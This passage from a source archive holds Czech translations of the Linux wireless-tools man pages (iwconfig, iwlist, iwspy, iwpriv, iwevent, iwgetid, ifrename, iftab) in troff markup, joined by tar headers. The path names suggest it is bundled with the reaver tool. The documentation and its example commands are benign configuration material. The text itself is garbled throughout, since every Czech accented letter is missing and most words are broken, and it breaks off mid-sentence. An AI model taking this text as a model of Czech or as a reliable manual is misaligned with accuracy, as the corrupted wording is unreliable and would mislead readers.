ifconfig (8). .br Protoe peruen mohou bt sdlen, obvykle tento selektor nesta k jednoznan identifikaci rozhran. .TP .BI iwproto " bezdrtov protokol" Porovn bezdrtov protokol rozhran se zadanm bezdrtovm protokolem. Bezdrtov protokol rozhran je mon zobrazit pomoc .IR iwconfig (8). .br Tato volba je podporovna pouze na bezdrtovch rozhranch a nesta k jednoznan identifikaci rozhran. .TP .BI pcmciaslot " pcmcia slot" Porovn slo Pcmcia socketu rozhran se zadanm slem slotu. slo Pcmcia socketu rozhran je mon zobrazit pomoc .IR "cardctl ident" (8). .br Tato volba je obvykle podporovna pouze na 16 bitovch kartch, pro 32 bitov karty je lep pout selektor .BR businfo . .\" .\" EXAMPLE part .\" .SH PKLAD # Toto je koment .br eth2 mac 08:00:09:DE:82:0E .br eth3 driver wavelan irq 15 baseaddress 0x390 .br eth4 driver pcnet32 businfo 0000:02:05.0 .br air* mac 00:07:0E:* arp 1 .\" .\" AUTHOR part .\" .SH AUTOR Jean Tourrilhes \- jt@hpl.hp.com .\" .\" TRANSLATION part .\" .SH PEKLAD Pavel Heimlich \- tropikhajma@seznam.cz, bezen 2005 (wireless_tools.28pre4). .\" .\" FILES part .\" .SH SOUBORY .I /etc/iftab .\" .\" SEE ALSO part .\" .SH DAL INFORMACE .BR ifrename (8), .BR ifconfig (8), .BR ip (8), .BR ethtool (8), .BR iwconfig (8). reaver-1.4/src/lwe/cs/iwgetid.80000755000175000017500000000541611705505257015724 0ustar reaverreaver.\" Guus Sliepen - 2001 .\" Doplnil a opravil Jean Tourrilhes - 2002-2003 .\" iwgetid.8 .\" .TH IWGETID 8 "2.prosinec 2003" "wireless-tools" "Linux - Manul programtora" .\" .\" NAME part .\" .SH JMNO iwgetid \- Zobraz ESSID, NWID nebo adresu AP/Cell (pstupovho bodu/buky) v bezdrtov sti .\" .\" SYNOPSIS part .\" .SH SYNTAXE .BI "iwgetid " [interface] " [--raw] [--scheme] [--ap] [--freq]" .br .BI " [--mode] [--protocol] [--channel] .br .\" .\" DESCRIPTION part .\" .SH POPIS .B iwgetid se pouv k zjitn NWID, ESSID nebo adresy AP/Cell (pstupovho bodu/buky) v bezdrtov sti, kter je prv vyuvna. Zobrazen informace je stejn jako ta, kterou ukazuje .BR iwconfig ", ale " iwgetid se snadnji integruje do skript. .br Jako vchoz, .B iwgetid vype .I ESSID zazen, pokud zazen nem dn ESSID, vytiskne jeho .IR NWID . .br Vchoz formt pro vstup je pretty-printing (lovkem iteln). .\" .\" OPTIONS part .\" .SH VOLBY .TP .B --raw Tento pepna vypne pretty-printing. Je mon jej kombinovat s ostatnmi pepnai (s vjimkou .BR --scheme ), take se sprvnou kombinac pepna lze vytisknout surov ESSID, adresu AP nebo Mode. .br Tento formt je ideln pro uloen vsledku iwgetid jako promnn ve skriptech .I Shellu nebo .I Perlu nebo pro pedn vsledku jako parametru pkazov dky pro .BR iwconfig . .TP .B --scheme Tento pepna je podobn pedchozmu, vypne pretty-printing a odstran vechny znaky, kter nejsou alfanumerick (jako mezery, interpunkci a kontroln znaky). .br Vsledn vstup je validn <<\ Pcmcia scheme identifer\ >> (kter me bt pouit jako parametr pkazu .BR "cardctl scheme" ). Tento formt je tak ideln, pokud je vsledek iwgetid pouit jako volba ve skriptech .I Shellu nebo .I Perlu nebo jako nzev souboru. .TP .B --ap Zobraz MAC adresu bezdrtovho .I Access Point (pstupovho bodu) nebo .IR Cell . (buky) .TP .B --freq Zobraz aktuln .I frequency (frekvenci) nebo .I channel (kanl), pouvan rozhranm. .TP .B --channel Zobraz aktuln .I channel (kanl), pouvan rozhranm. Kanl je zskn z aktuln frekvence a seznamu frekvenc dodanho rozhranm. .TP .B --mode Zobraz aktuln .I mode (reim) rozhran. .TP .B --protocol Zobraz .I protocol name (nzev protokolu) rozhran. Tak je mon identifikovat vechny karty, kter jsou vzjemn kompatibiln a akceptuj stejn typ nastaven. .br Je to tak monost jak .I ovit podporu Wireless Extensions na rozhran, protoe je to jedin atribut, kter vechny ovladae podporujc Wireless Extensions musej podporovat. .\" .\" TRANSLATION part .\" .SH PEKLAD Pavel Heimlich \- tropikhajma@seznam.cz, bezen 2005 (wireless_tools.28pre4). .\" .\" SEE ALSO part .\" .SH DAL INFORMACE .BR iwconfig (8), .BR ifconfig (8), .BR iwspy (8), .BR iwpriv (8). reaver-1.4/src/lwe/cs/iwspy.80000755000175000017500000000560311705505257015441 0ustar reaverreaver.\" Jean II - HPLB - 96 .\" iwspy.8 .\" .TH IWSPY 8 "31.jen 1996" "net-tools" "Linux - Manul programtora" .\" .\" NAME part .\" .SH JMNO iwspy \- Zsk bezdrtov statistiky o urench nodech .\" .\" SYNOPSIS part .\" .SH SYNTYXE .BI "iwspy " rozhran .br .BI "iwspy " rozhran " [+] " DNSNAME " | " IPADDR " | " HWADDR " [...]" .br .BI "iwspy " rozhran " off" .br .BI "iwspy " rozhran " setthr " "low high" .br .BI "iwspy " rozhran " getthr" .\" .\" DESCRIPTION part .\" .SH POPIS .B Iwspy se pouv k nastaven seznamu sledovanch adres na bezdrtovm sovm rozhran a k zptnmu ten informac o kvalit spoje pro kadou z nich. Tyto informace jsou stejn jako ty uveden v .IR "/proc/net/wireless": kvalita spoje, sla signlu, hladina umu. .PP Tyto informace jsou aktualizovny pokad, kdy je pijat nov paket, take kad adresa na seznamu zvyuje zt ovladae. .PP Tato funkcionalita plat pouze pro nody v aktuln bezdrtov buce, nen mon sledovat pstupov body, se ktermi nen zazen asociovno (k tomu slou skenovn) , ani nody v jinch bukch. V reimu Managed prochzej pakety vtinou pes pstupov bod a v tom ppad je zskna sla signlu pstupovho bodu. Proto je tato funkce uiten vcemn jen v reimu Ad-Hoc nebo Master. .\" .\" PARAMETER part .\" .SH PARAMETRY Je mon nastavit a 8 adres. .TP .BR DNSNAME " | " IPADDR Nastav IP adresu nebo, v nkterch ppadech, DNS nzev (pomoc name resolveru). Protoe hardware pracuje s hardwarovmi adresami, .B iwspy pelo IP adresu pomoc .IR ARP . Me se stt, e adresa nen v ARP cache a .B iwspy neuspje. V tom ppad pouijte .IR ping (8) na toto jmno/adresu a zkuste to znovu. .TP .B HWADDR Nastav hardwarovou (MAC) adresu (tato adresa se nepekld ani nekontroluje, na rozdl od IP adresy). Adresa mus obsahuvat dvojteky .RB ( : ) aby byla uznna za hardwarovou adresu. .TP .B + Pid novou sadu adres na konec stvajcho seznamu, msto aby jej nahradil. Seznam adres je pro kad zazen jedinen, proto by tato volba mla bt uvna, aby se zabrnilo konfliktm. .TP .B off Odstran souasn seznam adres a vypne sledovac funkci. .TP .B setthr Nastav .I low (spodn) a .I high (horn) prh sly signlu, pro sputn udlosti iwspy (podporuje-li to ovlada). .br Pokad, kdy sla signlu jakkoliv z adres sledovan iwspy poklesne pod spodn prh nebo pehro horn prh, je vygenerovna bezdrtov udlost. .br To je mon pout ke sledovn vpadk spoje bez nutnosti pravidelnho spoutn iwspy. .TP .B getthr Zsk aktuln .I low (spodn) a .I high (horn) prh sly signlu pro udlost iwspy. .\" .\" TRANSLATION part .\" .SH PEKLAD Pavel Heimlich \- tropikhajma@seznam.cz, bezen 2005 (wireless_tools.28pre4). \" .\" FILES part .\" .SH SOUBORY .I /proc/net/wireless .\" .\" SEE ALSO part .\" .SH DAL INFORMACE .BR iwconfig (8), .BR iwlist (8), .BR iwevent (8), .BR iwpriv (8), .BR wireless (7). reaver-1.4/src/lwe/cs/iwevent.80000755000175000017500000000633611705505257015753 0ustar reaverreaver.\" Jean Tourrilhes - HPL - 2002 - 2004 .\" iwevent.8 .\" .TH IWEVENT 8 "23.erven 2004" "net-tools" "Linux - Manul programtora" .\" .\" NAME part .\" .SH JMNO iwevent \- Zobraz bezdrtov udlosti vyvolan ovladai a zmnami nastaven .\" .\" SYNOPSIS part .\" .SH SYNTAXE .BI "iwevent " .br .\" .\" DESCRIPTION part .\" .SH POPIS .B iwevent zobraz bezdrtov udlosti pijat prostednictvm socketu RTNetlink. Kad dek zobrazuje jednotlivou bezdrtovou udlost popisujc, co se stalo na urenm bezdrtovm rozhran. .br Tento pkaz nem dn parametry. .\" .\" DISPLAY part .\" .SH ZOBRAZEN Jsou dva typy bezdrtovch udlost. .PP Prvn typ jsou udlosti vztahujc se ke zmn bezdrtovch nastaven na rozhran (typicky prostednictvm .B iwconfig nebo skriptu volajcho .BR iwconfig ). Jsou oznamovna pouze nastaven, kter mohou vst k naruen spojen. V souasnosti jsou oznamovny udlosti mnc jedno z nsledujcch nastaven: .br .I " Network ID" .br .I " ESSID" .br .I " Frequency" .br .I " Mode" .br .I " Encryption" .br Vechny tyto udlosti jsou generovny na vech bezdrtovch rozhranch bezdrtovm subsystmem jdra (ale jen kdy byl ovlada peveden na nov API ovlada). .PP Dalm typem jsou udlosti generovan hardwarem, kdy se nco stane nebo byl byla dokonena loha. Tyto udlosti zahrnuj: .TP .B New Access Point/Cell address (nov adresa pstupovho bodu/buky) Rozhran se pipojilo k novmu pstupovmu bodu i AD-Hoc buce nebo s nm ztratilo spojen. Je to stejn MAC adresa, jako hls .BR iwconfig . .TP .B Scan request completed (poadavek na skenovn dokonen) Poadavek na skenovn byl dokonen, vsledek je k dispozici (viz .BR iwlist ). .TP .B Tx packet dropped (vyslan paket zahozen) Paket smrovan na tuto adresu byl zahozen, protoe rozhran se domnv, e tento node u neodpovd (obvykle pokud bylo pekroeno maximum pokus na rovni MAC). Toto je obvykle prvotn znmka toho, e node mohl opustit buku nebo se ocitl mimo dosah, ale me to bt i zeslabenm signlu nebo nadmrnm ruenm. .TP .B Custom driver event (Zvltn udlost ovladae) Udlost specifick pro ovlada. Prosm prozkoumejte dokumentaci ovladae. .TP .B Registered node Rozhran spn zaregistrovalo novho bezdrtovho klienta/peer. Vtinou je generovna, pokud rozhran pracuje jako pstupov bod (reim master). .TP .B Expired node Registrace klienta/peer na tomto rozhran vyprela. Vtinou je generovna, pokud rozhran pracuje jako pstupov bod (reim master). .TP .B Spy threshold crossed (pekroen prh pro sledovn) Sla signlu u jedn z adres v seznamu iwspy poklesla pod spodn prh nebo pekroila horn prh. .PP Vtina bezdrtovch ovlada generuje pouze st z tchto udlost, nikoli vechny. Jejich seznam zle na konkrtn kombinaci hardware a ovladae. Pro vce informac o vytven udlost prosm prozkoumejte dokumentaci ovladae a pouijte .IR iwlist (8) k zjitn, co ovlada podporuje. .\" .\" AUTHOR part .\" .SH AUTOR Jean Tourrilhes \- jt@hpl.hp.com .\" .\" TRANSLATION part .\" .SH PEKLAD Pavel Heimlich \- tropikhajma@seznam.cz, bezen 2005 (wireless_tools.28pre4). .\" .\" SEE ALSO part .\" .SH DAL INFORMACE .BR iwconfig (8), .BR iwlist (8), .BR iwspy (8), .BR iwpriv (8), .BR wireless (7). reaver-1.4/src/lwe/cs/iwlist.80000755000175000017500000000613511705505257015602 0ustar reaverreaver.\" Jean II - HPLB - 96 .\" iwlist.8 .\" .TH IWLIST 8 "23.erven 2004" "wireless-tools" "Linux - Manul programtora" .\" .\" NAME part .\" .SH JMNO iwlist \- Zsk podrobnj bezdrtov informace o bezdrtovm rozhran .\" .\" SYNOPSIS part .\" .SH SYNTAXE .BI "iwlist " rozhran " scanning" .br .BI "iwlist " rozhran " frequency" .br .BI "iwlist " rozhran " rate" .br .BI "iwlist " rozhran " key" .br .BI "iwlist " rozhran " power" .br .BI "iwlist " rozhran " txpower" .br .BI "iwlist " rozhran " retry" .br .BI "iwlist " rozhran " event" .br .BI "iwlist --help" .br .BI "iwlist --version" .\" .\" DESCRIPTION part .\" .SH POPIS .B Iwlist se pouv k zobrazen doplujcch informac o bezdrtovm sovm rozhran, kter nejsou zobrazovny pkazem .IR iwconfig (8). Hlavn parametr uruje typ informace, kterou .B iwlist zobraz v detailn podob, vetn informace, kterou poskytuje .IR iwconfig (8). .\" .\" PARAMETER part .\" .SH PARAMETRY .TP .BR scan [ning] Vype seznam pstupovch bod a Ad-Hoc buek v dosahu a voliteln i spoustu informac o nich (ESSID, kvalita, frekvence, reim...). Typ zobrazen informace zvis na monostech karty. .br Sputn skenovn je privilegovan operace (me ji provst pouze .RI root ) a normln uivatel me pouze st zbyl vsledky skenovn. Jako vchoz je zpsob, kterm je skenovn provedeno (jeho rozsah) ovlivnn aktulnm nastavenm ovladae. U tohoto pkazu se pot s dodatenmi parametry pro kontrolu zpsobu skenovn, to ale zatm nen implementovno. .TP .BR freq [uency]/ channel Vype seznam dostupnch frekvenc pro zazen a poet definovanch kanl Prosm vnujte pozornost tomu, e ovlada obvykle vrac celkov poet kanl a pouze frekvence dostupn v aktulnm locale, take mezi zobrazenmi frekvencemi a sly kanl nen vztah "jedna k jedn". .TP .BR rate / bit [rate] Vype penosov rychlosti podporovan zazenm. .TP .BR key / enc [ryption] Vype podporovan velikosti ifrovacch kl a zobraz vechny ifrovac kle dostupn v zazen. .TP .B power Vype rzn atributy a reimy zen spoteby zazen. .TP .B txpower vype dostupn vyslac vkony zazen. .TP .B retry vype limity pro transmit retry a retry lifetime na zazen. .TP .BR ap / accesspoint / peers Vype pstupov body v dosahu a voliteln i kvalitu spoje Tato volba je .B zastaral a je nyn oputna ve prospch skenovn (viz ve), vtina ovlada ji nepodporuje. .br Nkter ovladae mohou s tmto pkazem vracet zvltn seznam peer nebo pstupovch bod, jako nap. seznam peer asociovanch s/registrovanch s kartou. Vce informac obsahuje dokumentace ovlada. .TP .B event Vype bezdrtov udlosti podporovan zazenm. .TP .B --version Zobraz verzi wireless tools a doporuenou a aktuln verzi Wireless Extensions s ohledem na bezdrtov rozhran. .\" .\" TRANSLATION part .\" .SH PEKLAD Pavel Heimlich \- tropikhajma@seznam.cz, bezen 2005 (wireless_tools.28pre4). .\" .\" FILES part .\" .SH SOUBORY .I /proc/net/wireless .\" .\" SEE ALSO part .\" .SH DAL INFORMACE .BR iwconfig (8), .BR iwspy (8). .BR iwevent (8), .BR iwpriv (8), .BR wireless (7). reaver-1.4/src/lwe/cs/iwpriv.80000755000175000017500000000657111705505257015613 0ustar reaverreaver.\" Jean II - HPLB - 96 .\" iwpriv.8 .\" .TH IWPRIV 8 "31.jen 1996" "net-tools" "Linux - Manul programtora" .\" .\" NAME part .\" .SH JMNO iwpriv \- konfiguruje doplkov (specifick) parametry bezdrtovho sovho rozhran .\" .\" SYNOPSIS part .\" .SH SYNTAXE .BI "iwpriv [" rozhran ] .br .BI "iwpriv " "rozhran specifick-pkaz " "[" specifick-parametry ] .br .BI "iwpriv " "rozhran specifick-pkaz [I] " "[" specifick-parametry ] .br .BI "iwpriv " rozhran " --all" .br .BI "iwpriv " rozhran " roam " {on,off} .br .BI "iwpriv " rozhran " port " {ad-hoc,managed,N} .\" .\" DESCRIPTION part .\" .SH POPIS .B Iwpriv je doprovodnm nstrojem k .IR iwconfig (8). .B Iwpriv pracuje s parametry a nastavenmi specifickmi pro kad ovlada (na rozdl od .IR "iwconfig" , kter pracuje s obecnmi). .PP Bez uveden parametru .B iwpriv vype specifick pikazy dostupn na kadm rozhran a parametry, kter vyaduj. Pomoc tto informace me uivatel pout tyto specifick pkazy na urenm rozhran. .PP Teoreticky by dokumentace kadho ovladae mla uvdt, jak pouvat tyto pro rozhran specifick pkazy a jejich inek. .\" .\" PARAMETER part .\" .SH PARAMETRY .TP .IR specifick-pkaz " [" specifick-parametry ] Vykon uren .I specifick-pkaz na rozhran. .br Pkaz me pout nebo vyadovat parametry a me zobrazit informaci. Parametry tedy mohou i nemusej bt vyadovny a mly by odpovdat tomu, co pkaz oekv. Seznam pkaz, kter .B iwpriv zobraz (kdy je voln bez parametr), by ml napovdt, jak s parametry zachzet. .br Nicmn pro informaci o pkazech a jejich sprvnm pouit je nejlep se obrtit na dokumnetaci k ovladai zazen. .TP .I "specifick-pkaz [I]" "[" specifick-parametry ] Viz ve, pouze .I I (cel slo) je pedno pkazu jako .IR "Token Index" . Token Index pouvaj jen nkter pkazy (vtina jej ignoruje), kdy jej pout by mla ci dokumnetace ovladae. .TP .BR -a / --all Vykon a zobraz vechny specifick pkazy, kter nemaj dn parametry (tj. pouze tou). .TP .B roam Povol nebo zake roaming, je-li podporovn. Vol specifick pkaz .IR setroam , kter je obsaen v ovladai .IR "wavelan_cs". .TP .B port Pete nebo nastav druh portu. Vol specifick pkaz .IR gport_type ", " sport_type ", " get_port " nebo " set_port "," obsaen v ovladach .IR wavelan2_cs " a " wvlan_cs "." .\" .\" DISPLAY part .\" .SH ZOBRAZEN Pro kad zazen, kter podporuje specifick pkazy, zobraz .I iwpriv seznam dostupnch specifickch pkaz. .PP To zahrnuje nzev specifickho pkazu, parametry, kter mohou bt nastaveny a jejich typ a parametry kter mohou bt zobrazeny a jejich typ. .PP Napklad me zobrazit : .br .B "eth0 Available specific ioctl :" .br .B " setqualthr (89F0) : set 1 byte & get 0" .br .B " gethisto (89F7) : set 0 & get 16 int" .PP To znamen, e je mon nastavit quality threshold a zobrazit histogram s a 16 hodnotami pomoc tchto pkaz: .br .I " iwpriv eth0 setqualthr 20" .br .I " iwpriv eth0 gethisto" .\" .\" AUTHOR part .\" .SH AUTOR Jean Tourrilhes \- jt@hpl.hp.com .\" .\" TRANSLATION part .\" .SH PEKLAD Pavel Heimlich \- tropikhajma@seznam.cz, bezen 2005 (wireless_tools.28pre4). .\" .\" FILES part .\" .SH SOUBORY .I /proc/net/wireless .\" .\" SEE ALSO part .\" .SH DAL INFORMACE .BR iwconfig (8), .BR iwlist (8), .BR iwevent (8), .BR iwspy (8), .BR wireless (7). reaver-1.4/src/lwe/cs/ifrename.80000755000175000017500000001064711705505257016060 0ustar reaverreaver.\" Jean II - HPL - 2004 .\" ifrename.8 .\" .TH IFRENAME 8 "1.bezen 2004" "wireless-tools" "Linux - Manul programtora" .\" .\" NAME part .\" .SH JMNO ifrename \- Pejmenuje sov rozhran v zvislosti na rznch statickch kritrich .\" .\" SYNOPSIS part .\" .SH SYNTAXE .B "ifrename [-c configfile] [-p] [-d] [-v] [-V] [-D]" .br .B "ifrename [-c configfile] [-i interface] [-n newname]" .\" .\" DESCRIPTION part .\" .SH POPIS .B Ifrename je nstroj, kter umouje piadit stl nzev pro kad sov rozhran. .PP Ve vchozm stavu jsou nzvy rozhran dynamick a kadmu sovmu rozhran je piazen prvn dostupn nzev .RI ( eth0 ", " eth1 "...)." Poad, v kterm jsou sov rozhran vytvena, se me liit. U zabudovanch rozhran zvis na jejich rozpoznn kernelem pi spoutn. Vmnn zazen me uivatel pipojit v jakmkoliv poad. .PP .B Ifrename umouje uivateli rozhodnout, jak nzev bude sov rozhran mt. .B Ifrename me vyut celou adu .IR voleb ", " aby uril, jak jsou nzvy rozhran piazovny sovm rozhranm v systmu. Nejbnj volbou je .IR "MAC adresa" rozhran. .PP .B Ifrename mus bt sputn pedtm, ne jsou rozhran aktivovna, proto je vtinou pouvn v rznch skriptech (init, hotplug), ale jen zdka pmo uivatelem. Jako vchoz, .B ifrename pejmenuje vechna rozhran ptomn v systmu pouitm namapovn definovanho v .IR /etc/iftab . .\" .\" PARAMETER part .\" .SH PARAMETRY .TP .BI "-c " konfiguracni_soubor Nastav konfiguran soubor, kter bude pouit (vchoz je .IR /etc/iftab ). Konfiguran soubor definuje namapovn voleb a nzv rozhran a je popsn v .IR iftab (5). .br Pokud je .I konfiguracni_soubor uren jako "-", je konfigurace natena ze stdin. .TP .B -p Pokus se zavst moduly jdra ped pejmenovnm rozhran. Jako vchoz prochz .B ifrename pouze rozhran, kter jsou ji zavedena a nezavd automaticky poadovan jadern moduly. Tento pepna umouje hladkou integraci se systmem, kter nezavd moduly ped volnm .BR ifrename . .TP .B -d Povol rzn pravy specifick pro .B Debian. V kombinaci s .BR -p budou zavedeny pouze moduly pro rozhran uren v .I /etc/network/interface . .TP .BI "-i " rozhran Pejmenuje pouze uren .IR rozhran , msto vech rozhran v systmu. Vype nov nzev rozhran. .TP .BI "-n " novy_nazev Kdy je pouito spolu s .IR -i , ur nov nzev rozhran. Seznam namapovn z konfiguranho souboru je ignorovn, rozhran uren pomoc .I -i je rovnou pejmenovno na .IR novy_nazev Nov nzev me bt olk (wildcard), ale me obsahovat pouze jedinou "*". .br Pokud je pouit bez .IR -i , pejmenuje rozhran s pouitm pouze tch namapovn, kter by je pejmenovala na .IR novy_nazev . Nov nzev nesm bt olk. Tento zpsob pouit ifrename .RI ( -n " bez " -i ) nen doporuen, protoe je neefektivn. Musej bt zpracovna vechna rozhran systmu, a proto nen ve vtin ppad rychlej ne kdyby je ifrename pejmenovalo vechny (bez .IR -n " a zrove bez " -i ). .TP .B -t Povol podporu pevzet nzv. To umon vmnu nzv rozhran mezi dvma i vce rozhranmi. .br Pevzet umouje rozhran "ukrst" nzev jinmu rozhran. To funguje pouze s jdrem 2.6.x a pokud druh rozhran neb. Tmpdem nen kompatibiln s Hotplug. Druhmu rozhran je piazen nhodn nzev, kter lze pozdji pomoc "ifrename" zmnit. .br Poet pevzet je omezen, aby se zabrnilo nekonenm smykm, a proto nemusej bt nkter komplexn vcecestn situace sprvn zpracovny. .br V kadm ppad nen pevod nzv a ani pouvn tto monosti doporueno, je lep zvolit pro rozhran jedinen a jednoznan nzvy... .TP .B -D Reim dry-run ("naneisto"). Ifrename nezmn dn rozhran, pouze vype nov nzev rozhran, pokud je to mon, a skon. .br V reimu dry-run nejsou eeny wildcards. Nov nzev rozhran je vytitn i v ppad, e je stejn jako pvodn nzev. .TP .B -V Uvann reim. Ifrename zobraz intern vsledky prchodu svm konfiguranm souborem a dotazy na volby rozhran. V kombinaci s pepnaem .I dry-run pedstavuje dobr zpsob debugovn komplexnch nastaven nebo trivilnch problm. .\" .\" AUTHOR part .\" .SH AUTOR Jean Tourrilhes \- jt@hpl.hp.com .\" .\" TRANSLATION part .\" .SH PEKLAD Pavel Heimlich \- tropikhajma@seznam.cz, bezen 2005 (wireless_tools.28pre4). .\" .\" FILES part .\" .SH SOUBORY .I /etc/iftab .\" .\" SEE ALSO part .\" .SH DAL INFORMACE .BR ifconfig (8), .BR ip (8), .BR iftab (5). reaver-1.4/src/lwe/cs/iwconfig.80000755000175000017500000003745711705505257016107 0ustar reaverreaver.\" Jean II - HPLB - 1996 => HPL - 2004 .\" iwconfig.8 .\" .TH IWCONFIG 8 "22.ervna 2004" "wireless-tools" "Linux - Manul programtora" .\" .\" NAME part .\" .SH JMNO iwconfig \- nastavuje rozhran bezdrtov st .\" .\" SYNOPSIS part .\" .SH SYNTAXE .BI "iwconfig [" rozhran ] .br .BI "iwconfig " rozhran " [essid " X "] [nwid " N "] [mode " M "] [freq " F "] .br .BI " [channel " C ] [sens " S "] [ap " A "] [nick " NN ] .br .BI " [rate " R "] [rts " RT "] [frag " FT "] [txpower " T ] .br .BI " [enc " E "] [key " K "] [power " P "] [retry " R ] .br .BI " [commit] .br .BI "iwconfig --help" .br .BI "iwconfig --version" .\" .\" DESCRIPTION part .\" .SH POPIS .B Iwconfig je podobn pkazu .IR ifconfig (8), ale je vnovan bezdrtovm rozhranm. Je pouvn k nastaven tch parametr sovch rozhran, kter jsou specifick pro bezdrtov provoz (nap. frekvence). .B Iwconfig me bt tak pouit k zobrazen tchto parametr a bezdrtovch statistik (zskanch z .IR /proc/net/wireless ). .PP Vechny tyto parametry a statistiky jsou zvisl na zazen. Kad ovlada poskytuje, v zvislosti na hardwarov podpoe, jen nkter z nich a rozsah hodnot se me mnit. Prosm obracejte se na manulov strnky jednotlivch zazen pro dal detaily. .\" .\" PARAMETER part .\" .SH PARAMETRY .TP .B essid Nastav ESSID (nebo Network Name - u nkterch produkt me bt nazvno Domain ID). ESSID se pouv k identifikaci bunk, kter jsou soust stejn virtuln st. .br Na rozdl od adresy AP nebo NWID, kter uruje jedinou buku, ESSID uruje skupinu bunk, spojench opakovai (repeater) nebo infrastrukturou, mezi ktermi me uivatel transparentn pechzet. .br U nkterch karet je mon vypnout kontrolu ESSID (promiskuitn ESSID) pomoc .IR off " nebo " any " (a " on k optovnmu zapnut). .br Pokud je ESSID st jednm z klovch slov .RI ( off ", " on " nebo " any ), pouije se .I -- .br .B Pklady: .br .I " iwconfig eth0 essid any" .br .I " iwconfig eth0 essid ""Moje sit"" .br .I " iwconfig eth0 essid -- ""ANY"" .TP .BR nwid / domain Nastav Network ID (u nkterch produkt me bt nazvno Domain ID). Protoe vechny sousedc bezdrtov st sdlej stejn mdium, je tento parametr pouvn k jejich rozlien (tvorb logickch kolokovanch st) a identifikaci nod patcch do stejn buky. .br Tento parametr se pouv pouze u pre-802.11 zazen. Protokol 802.11 pouv pro tuto funkci ESSID a adresu AP. .br U nkterch karet je mon vypnout kontrolu Network ID (promiskuitn NWID) pomoc .IR off " (a " on k optovnmu zapnut). .br .B Pklady: .br .I " iwconfig eth0 nwid AB34 .br .I " iwconfig eth0 nwid off" .TP .BR freq / channel Nastav pracovn frekvenci nebo kanl zazen. Hodnota ni ne 1000 znamen slo kanlu, hodnota vy ne 1000 je frekvence v Hz. Je mon pipojit k hodnot pponu k, M nebo G (napklad "2.46G" pro frekvenci 2,46 GHz), nebo doplnit dostaten poet nul. .br Kanly jsou obvykle slovny od 1, je mon pout .IR iwlist (8) k zskn celkovho potu kanl, seznamu dostupnch frekvenc a zobrazen souasn frekvence jako kanlu. V zvislosti na pedpisech mohou bt nkter frekvence/kanly nedostupn. .br .B Pklady: .br .I " iwconfig eth0 freq 2422000000" .br .I " iwconfig eth0 freq 2.422G" .br .I " iwconfig eth0 channel 3" .TP .B sens Nastav prh citlivosti. To je nejni rove sly signlu pi kter hardware povauje pijat pakety za pouiteln. Kladn hodnoty jsou interpretovny jako hodnota pouvan hardwarem nebo jako procenta, negativn hodnoty jako dBm. V zvislosti na hardwarov implementaci me mt tento parametr dal funkce. .br Tento parametr me ovldat prh pjmu (receive threshold) - nejni rove signlu pi kter se hardware pokus o pjem paketu, slab signl je ignorovn. Me tak nastavovat prh stupu (defer threshold) - nejni rove signlu, od kter hardware povauje kanl za obsazen. Pi sprvnm nastaven tchto prah karta neztrc as pjmen umu. U modernch zazen se zd, e tyto prahy reguluj automaticky. .br U modernch karet me tento parametr ovldat prh pedn (handover/roaming threshold) - nejni rove signlu pi kter hardware jet zstane asociovno se souasnm pstupovm bodem. Pokud rove signlu poklesne pod tuto hodnotu, zane karta hledat nov/lep pstupov bod. .br .B Pklad: .br .I " iwconfig eth0 sens -80" .TP .B mode nastav pracovn reim zazen, co zvis na topologii st. Reim me bt .I Ad-Hoc (s sloen pouze z jedn buky a bez pstupovho bodu), .I Managed (node se pipojuje do st sloen z mnoha pstupovch bod, s roamingem), .I Master (node je synchronisation master nebo slou jako pstupov bod), .I Repeater (node pedv pakety mezi ostatnmi bezdrtovmi nody), .I Secondary (node slou jako zlon master/repeater), .I Monitor (node nen asociovn s dnou bukou a pasivn monitoruje pakety na frekvenci) nebo .IR Auto . .br .B pklad: .br .I " iwconfig eth0 mode Managed" .br .I " iwconfig eth0 mode Ad-Hoc" .TP .B ap Nad kart pipojit se k pstupovmu bodu urenmu adresou, pokud je to mon. Pokud se kvalita spojen pli sn, me se ovlada vrtit do automatickho mdu (karta vybere nejlep pstupov bod v dosahu). .br Je tak mon pout .I off k optovnmu zapnut automatickho mdu beze zmny souasnho pstupovho bodu nebo .I any i .I auto k vynucen optovn asociace karty s momentln nejlepm pstupovm bodem. .br .B Pklad : .br .I " iwconfig eth0 ap 00:60:1D:01:23:45" .br .I " iwconfig eth0 ap any" .br .I " iwconfig eth0 ap off" .TP .BR nick [name] Nastav pezdvku neboli station name. Nkter 802.11 produkty ji definuj, ale co se tk protokol (MAC, IP, TCP), nen pouvna a pi konfiguraci je zcela nepotebn. Pouvaj ji pouze nkter diagnostick nstroje. .br .B Pklad: .br .I " iwconfig eth0 nickname ""Muj linuxovy node"" .TP .BR rate / bit [rate] U karet, kter podporuj vce penosovch rychlost, nastav rychlost penosu v b/s. Rychlost penosu je rychlost, kterou jsou bity peneny mdiem, rychlost pro uivatele je ni kvli sdlen mdia a rzn reii. .br Je mon pipojit k hodnot pponu k, M nebo G (dekadick nsobitel: 10^3, 10^6 a 10^9 b/s), nebo doplnit dostaten poet nul. Vznam hodnoty ni ne 1000 zvis na pouit kart, obvykle znamen index v seznamu penosovch rychlost. Je mon pout .I auto ke zvolen reimu automatick penosov rychlosti (stup na ni rychlost v zaumnch kanlech), co je u vtiny karet vchoz nastaven, a .I fixed k nvratu k pevnmu nastaven. Pokud je urena penosov rychlost a .IR auto , me ovlada pout vechny penosov rychlosti rovn tto hodnot a ni. .br .B Pklady: .br .I " iwconfig eth0 rate 11M" .br .I " iwconfig eth0 rate auto" .br .I " iwconfig eth0 rate 5.5M auto" .TP .BR rts [_threshold] RTS/CTS pid handshake ped kadm penosem paket, aby se zajistilo, e je kanl voln. To zv reii, ale tak vkon v ppad skrytch nod nebo velkho potu aktivnch nod. Tento parametr nastavuje velikost nejmenho paketu, pro kter node vysl RTS; hodnota rovn maximln velikosti paketu tento mechanismus vypne. Je tak mon nastavit tento parametr na .IR auto ", " fixed " nebo " off . .br .B Pklady: .br .I " iwconfig eth0 rts 250" .br .I " iwconfig eth0 rts off" .TP .BR frag [mentation_threshold] Fragmentace dovoluje rozdlit IP paket na dvku nkolika mench st penesench mdiem. To ve vtin ppad zvt reii, ale ve velmi zaumnm prosted sn ztrty zpsoben chybami a umon paketm projt pi zaruen. Tento parametr nastav maximln velikost fragmentu; hodnota rovn maximln velikosti paketu tento mechanismus vypne. Je tak mon nastavit tento mechanismus na .IR auto ", " fixed " nebo " off . .br .B Pklady: .br .I " iwconfig eth0 frag 512" .br .I " iwconfig eth0 frag off" .TP .BR key / enc [ryption] Pouv se k nastaven ifrovacch kl a bezpenostnho reimu. .br Pro nastaven aktulnho ifrovacho kle se pouze zad kl v hexadecimln podob jako .IR 